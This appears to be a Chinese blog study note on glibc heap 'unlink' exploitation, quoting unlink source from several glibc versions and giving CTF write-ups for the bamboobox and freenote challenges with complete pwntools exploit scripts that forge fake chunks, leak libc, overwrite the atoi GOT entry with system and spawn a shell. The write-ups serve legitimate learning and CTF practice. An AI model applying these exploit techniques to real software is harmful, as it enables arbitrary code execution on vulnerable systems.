• Unlink学习总结


    Unlink

    本文参考了CTF-wiki 和glibc 源码

    原理:

    我们在利用 unlink 所造成的漏洞时,其实就是借助 unlink 操作来达成修改指针的效果。

    我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来,然后和前后物理相邻的 free chunk 进行合并。其基本的过程如下

    类似于我们学数据结构时学的从双向链表中删除一个节点的操作。

    在最初 unlink 实现的时候,其实是没有对双向链表检查的,也就是说,没有以下的代码

    //检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
    if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");
    
    //检查p和其前后的chunk是否构成双向链表
    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");
    
    //只有large bin 才进行次检查
    //检查p和其前后的large chunk的nextsize域是否构成双向链表
    if (p->fd_nextsize->bk_nextsize != p 
        || p->bk_nextsize->fd_nextsize != p)
       malloc_printerr ("corrupted double-linked list (not small)");
    

    这里我们以 32 位为例,假设堆内存最初的布局是下面的样子

    image-20200513170403167

    如果我们通过某种方式(比如溢出)将 nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时

    1. glibc 判断这个块是 small chunk。
    2. 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并。
    3. 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并。
    4. 继而对 nextchunk 采取 unlink 操作。

    那么 unlink 具体执行的效果是什么样子呢?我们用P来表示当前的chunk(也就是先被free的chunk),可以来分析一下

    • FD=P->fd = target addr -12
    • BK=P->bk = expect value
    • FD->bk = BK,即 *(target addr-12+12) = expect value
    • BK->fd = FD,即*(expect value +8) = target addr-12

    看起来我们似乎可以通过 unlink 直接实现任意地址写入的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。

    比如说我们将 target addr 设置为某个 got 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值(expect value)处的代码。需要注意的是,expect value+8 处的值可能没有写入权限,执行BK->fd = FD回报错,需要想办法绕过。

    我们刚才考虑的是没有检查的情况,但是一旦加上检查,就没有这么简单了。我们看一下对 fd 和 bk 的检查

    //检查p和其前后的chunk是否构成双向链表
    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");
    

    此时

    • FD->bk = *(target addr - 12 +12)=*(target_addr) != p
    • BK->fd = *(expect value + 8) != p

    那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。

    但是,如果我们使得 expect value+8 以及 target_addr 等于 p,那么我们就可以执行

    • expect value = p - 8

    • target addr = p

    • FD->bk = BK,即 *(p-12+12) = *p =p-8

    • BK->fd = FD,即 *(p-8 +8) = *p = p-12

    这样可以通过检查,即改写了指针 p 的内容,将其指向了比自己低 12 的地址处。

    image-20200513172222456

    此外,其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话,并不能达到修改指针内容的效果。

    • FD = p->fd = p

    • BK = p->bk = p

    • FD->bk = *(p +12) = p

    • BK->fd = *(p + 8) = p

    不同版本的unlink对比

    glib 2.23

    /* Take a chunk off a bin list */
    #define unlink(AV, P, BK, FD) {                                            
        FD = P->fd;                               
        BK = P->bk;
    	//检查p和其前后的chunk是否构成双向链表
        if (__builtin_expect (FD->bk != P || BK->fd != P, 0))           
          malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
        else 
        {                            
            FD->bk = BK;                           
            BK->fd = FD;
            //一般的unlink到这里就结束了,只有是large bin范围,才继续执行下面的代码。
            //如果 p 在largebin的范围  且 p->fd_nextsize不为空
            if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) 
            {
              //检查p和其前后的large chunk的nextsize域是否构成双向链表
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
                 malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);  
                                 
              if (FD->fd_nextsize == NULL) {                
                  if (P->fd_nextsize == P)                  
                    FD->fd_nextsize = FD->bk_nextsize = FD;           
                  else 
                  {                         
                      FD->fd_nextsize = P->fd_nextsize;              
                      FD->bk_nextsize = P->bk_nextsize;              
                      P->fd_nextsize->bk_nextsize = FD;              
                      P->bk_nextsize->fd_nextsize = FD;              
                    }                            
                }
                else 
                {                         
                  P->fd_nextsize->bk_nextsize = P->bk_nextsize;           
                  P->bk_nextsize->fd_nextsize = P->fd_nextsize;           
                }                               
              }                               
          }                                  
    }
    

    glibc 2.27

    #define unlink(AV, P, BK, FD) 
    {    
        //检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
        if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))       
            malloc_printerr ("corrupted size vs. prev_size");                 
    
        FD = P->fd;                                
        BK = P->bk;                                
    
        if (__builtin_expect (FD->bk != P || BK->fd != P, 0))            
          malloc_printerr ("corrupted double-linked list");                 
    
        else 
        {                             
            FD->bk = BK;                            
            BK->fd = FD;  
            
            if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0)) 
            {       
                if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))     
                  malloc_printerr ("corrupted double-linked list (not small)"); 
                     
                if (FD->fd_nextsize == NULL) 
                {                 
                    if (P->fd_nextsize == P)                   
                      FD->fd_nextsize = FD->bk_nextsize = FD;            
                    else 
                    {                          
                        FD->fd_nextsize = P->fd_nextsize;               
                        FD->bk_nextsize = P->bk_nextsize;               
                        P->fd_nextsize->bk_nextsize = FD;               
                        P->bk_nextsize->fd_nextsize = FD;               
                    }                             
                } 
                else 
                {                          
                    P->fd_nextsize->bk_nextsize = P->bk_nextsize;            
                    P->bk_nextsize->fd_nextsize = P->fd_nextsize;            
                }                                
            }                                
        }                                   
    }
    

    glibc 2.29

    static void unlink_chunk (mstate av, mchunkptr p)
    {
     
      if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");
    
      mchunkptr fd = p->fd;
      mchunkptr bk = p->bk;
    
      
      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");
    
      fd->bk = bk;
      bk->fd = fd;
        
      
      if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
      {
          if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
              malloc_printerr ("corrupted double-linked list (not small)");
    
          if (fd->fd_nextsize == NULL)
          {
             if (p->fd_nextsize == p)
               fd->fd_nextsize = fd->bk_nextsize = fd;
             else
             {
                 fd->fd_nextsize = p->fd_nextsize;
                 fd->bk_nextsize = p->bk_nextsize;
                 p->fd_nextsize->bk_nextsize = fd;
                 p->bk_nextsize->fd_nextsize = fd;
              }
          }
          else
          {
             p->fd_nextsize->bk_nextsize = p->bk_nextsize;
             p->bk_nextsize->fd_nextsize = p->fd_nextsize;
          }
      }
    }
    

    glibc 2.23

    1. 检查p和其前后的chunk是否构成双向链表

    2. 检查p和其前后的large chunk的nextsize域是否构成双向链表

    glibc 2.27 2.29 新增加一下保护

    1. 检查p的 size 是否等于物理相邻的后一个chunk的 pre_size

    为了加深印象,我们做几道题目

    例子

    本题的环境是ubuntu 16,也就是说glibc版本为2.23

    首先检查一下保护

    image-20200522143812751

    增删改查,典型的堆题

    image-20200522143937488

    IDA 分析

    image-20200522144147968

    main函数,申请了一块空间,存了2个函数指针,分别是hello_message和goodbye_message

    image-20200522144354005

    image-20200522144410001

    add存在off_by_null漏洞

    image-20200522144827559

    edit 没有对输入的length做检查,导致堆溢出

    image-20200522145135670

    delete 没有漏洞

    image-20200522145242170

    show 展示所有item的内容

    image-20200522145312649

    这里还有个后门?

    image-20200522151118803

    初步分析这题目存在堆溢出,我们可以修改fd,bk的值。我们可以想到的是使用fastbin attack 但是为了练习unlink,我们这里使用unlink攻击

    1. fastbin attack利用后门
    add(0x21,'AAAAA')#0  为了溢出修改1
    add(0x18,'BBBBB')#1  
    add(0x18,'CCCC') #2
    delete(2)
    delete(1) #fastbin -> 1 -> 2
    
    payload = 'A'*0x28+p64(0x21) #修改1的fd指针,指向main开始时申请的内存地址
    edit(0,len(payload),payload) 
    add(0x18,'AAA')       
    backdoor = 0x0400D49 
    add(0x18,p64(0)+p64(backdoor))  #将其第二个指针修改为backdoor的地址.
    p.sendlineafter('Your choice:','5')
    
    1. fastbin attack(house of force)劫持atoi_got

      add(0x21,'AAAAA')#0 为了溢出修改1
      add(0x18,'BBBBB')#1
      delete(1)   #fastbin -> 1
      
      payload = 'A'*0x28+p64(0x21)+p64(0x06020C0 - 0x8)
      edit(0,len(payload),payload) #fastbin -> 1 -> itemlist-8
      add(0x18,'AAA')
      
      add(0x18,p64(elf.got['atoi'])) #修改itemlist[0]->ptr 指针指向atoi_got
      show() #泄漏libc地址
      p.recvuntil('0 : ')
      atoi = u64(p.recv(6).ljust(8,'x00'))
      libc_base = atoi - libc.symbols['atoi']
      system = libc_base + libc.symbols['system']
      edit(0,8,p64(system))#往atoi_got写入system地址
      p.sendlineafter('Your choice:','/bin/shx00')
      
    2. unlink

      #coding:utf-8
      from pwn import *
      context.log_level = 'debug'
      p = process('./bamboobox')
      elf = ELF('./bamboobox')
      libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
      
      def add(size,content):
          p.sendlineafter('Your choice:','2')
          p.sendlineafter('name:',str(size))
          p.sendafter('item:',content)
      
      
      def show():
          p.sendlineafter('Your choice:','1')
      
      
      def edit(idx,size,content):
          p.sendlineafter('Your choice:','3')
          p.sendafter('item:',str(idx))
          p.sendlineafter('name:',str(size))
          p.sendafter('item:',content)
      
      
      def delete(idx):
          p.sendlineafter('Your choice:','4')
          p.sendafter('item:',str(idx))
      
      
      itemlist0_ptr = 0x6020C0+8
      
      add(0x40,'A' * 8)#0
      add(0x80,'B' * 8)#1
      add(0x80,'C' * 8)#2
      
      
      #这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)
      fake_chunk =  p64(0) + p64(0x41)  #fake_chunk header
      fake_chunk += p64(itemlist0_ptr-0x18) + p64(itemlist0_ptr-0x10) #fake_chunk fd  bk
      fake_chunk += 'C'*0x20
      fake_chunk += p64(0x40) # 1的presize 
      fake_chunk += p64(0x90) # 1的size
      edit(0,0x80,fake_chunk)
      
      '''
      这里用p指代itemlist0_ptr
      FD = p -> fd = p - 0x18
      BK = p -> bk = p - 0x10
      
      FD -> bk = p
      BK -> fd = p
      #通过检查
      FD -> bk = BK 相当于  *(p) = p-0x10
      BK -> fd = FD 相当于  *(p) = p-0x18
      我们把p的值改为了p的地址-0x18,使得p的值不再是堆的地址,而是itemlist附近的地址。
      '''
      delete(1)  #前向合并,合并0中的fake_chunk  放入 unsorted bin 中 ,同时 itemlist0_ptr = &itemlist0_ptr -0x18
      
      payload = p64(0) * 2
      payload += p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got
      edit(0,0x80,payload)
      
      show()
      p.recvuntil('0 : ')
      atoi = u64(p.recv(6).ljust(8,'x00'))
      libc_base = atoi - libc.symbols['atoi']
      system = libc_base + libc.symbols['system']
      edit(0,8,p64(system))
      p.sendlineafter('Your choice:','/bin/shx00')
      
      p.interactive()
      

    jarvisoj_level6_x64

    首先检查保护

    image-20200522194424917

    IDA分析

    image-20200523132714046

    首先程序先malloc了一块地址,把一开始的地方填入0x100,0,剩下的全部清零

    image-20200523133046554

    增删改查,典型的堆题

    image-20200523133119725

    add函数,申请0x80字节大小对齐的堆块,然后在heaparray中做相应的记录

    image-20200523132943512

    image-20200523133331686

    edit函数,如果输入的size与heaparray中记录的不同,这调用realloc函数。

    image-20200523133426403

    show 没啥好说,就是heaparray中每个记录项打印出来

    image-20200523133517012

    free函数,存在double free的漏洞,因为没有清零,且没有对heaparray中的inuse进行校验。

    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./freenote_x64')
    elf = ELF('./freenote_x64')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    
    def add(size,content):
        p.sendlineafter('Your choice: ','2')
        p.sendlineafter('note: ',str(size))
        p.sendafter('note: ',content)
    
    def show():
        p.sendlineafter('Your choice: ','1')
    
    def edit(idx,size,content):
        p.sendlineafter('Your choice: ','3')
        p.sendlineafter('number: ',str(idx))
        p.sendlineafter('note: ',str(size))
        p.sendafter('note: ',content)
    
    def delete(idx):
        p.sendlineafter('Your choice: ','4')
        p.sendlineafter('number: ',str(idx))
    
    
    #----------leak heap and libc --------------#
    add(0x80,'A'*0x80)#
    add(0x80,'B'*0x80)#1
    add(0x80,'C'*0x80)#
    add(0x80,'D'*0x80)#3
    
    
    delete(0)
    delete(2) #在unsorted bin中形成双向链表
    
    add(0x8,'A'*0x8)#0
    add(0x8,'C'*0x8)#2
    
    show()
    p.recvuntil('AAAAAAAA')
    heap = u64(p.recvuntil('
    ',drop=True).ljust(8,'x00'))-0x1940
    print 'heap: '+hex(heap)
    
    p.recvuntil('CCCCCCCC')
    libc_base = u64(p.recvuntil('
    ',drop=True).ljust(8,'x00'))-0x3c4b78
    print 'libc_base: '+hex(libc_base)
    #------------------unlink---------------------------------#
    delete(0)
    delete(1) #合并0,1块
    
    chunk0_ptr = heap + 0x30
    
    payload  = p64(0)+p64(0x81)
    payload += p64(chunk0_ptr-0x18)+p64(chunk0_ptr-0x10)
    payload = payload.ljust(0x80,'x00')
    payload += p64(0x80)+p64(0x90)
    payload = payload.ljust(0x100,'x00')
    add(0x100,payload)
    delete(1)   #double free 触发unlink
    
    #----------------改写 atoi_got -----------------#
    payload = p64(0x2)+p64(0x1)+p64(0x8)+p64(elf.got['atoi'])
    payload = payload.ljust(0x100,'x00')
    edit(0,0x100,payload)#改写heaparray[0]-> ptr  使其指向atoi_got
    
    
    edit(0,0x8,p64(libc_base + libc.symbols['system']))#改写atoi_got为system的值
    
    p.sendlineafter('Your choice: ','/bin/shx00')
    
    p.interactive()
    
  • 相关阅读:
    数据库DQL(Data Query Language)语言学习之三:排序查询
    数据库DQL(Data Query Language)语言学习之二:条件查询
    MySQL中的通配符
    SQL查询文档网站
    python之特殊方法
    java之静态函数和静态变量
    java之类和对象
    python之类的继承
    python的面向对象编程
    python之模块(在命令行当中使用pip install 模块来进行模块的安装)
  • 原文地址:https://www.cnblogs.com/Rookle/p/12942229.html
Copyright © 2020-2023  润新知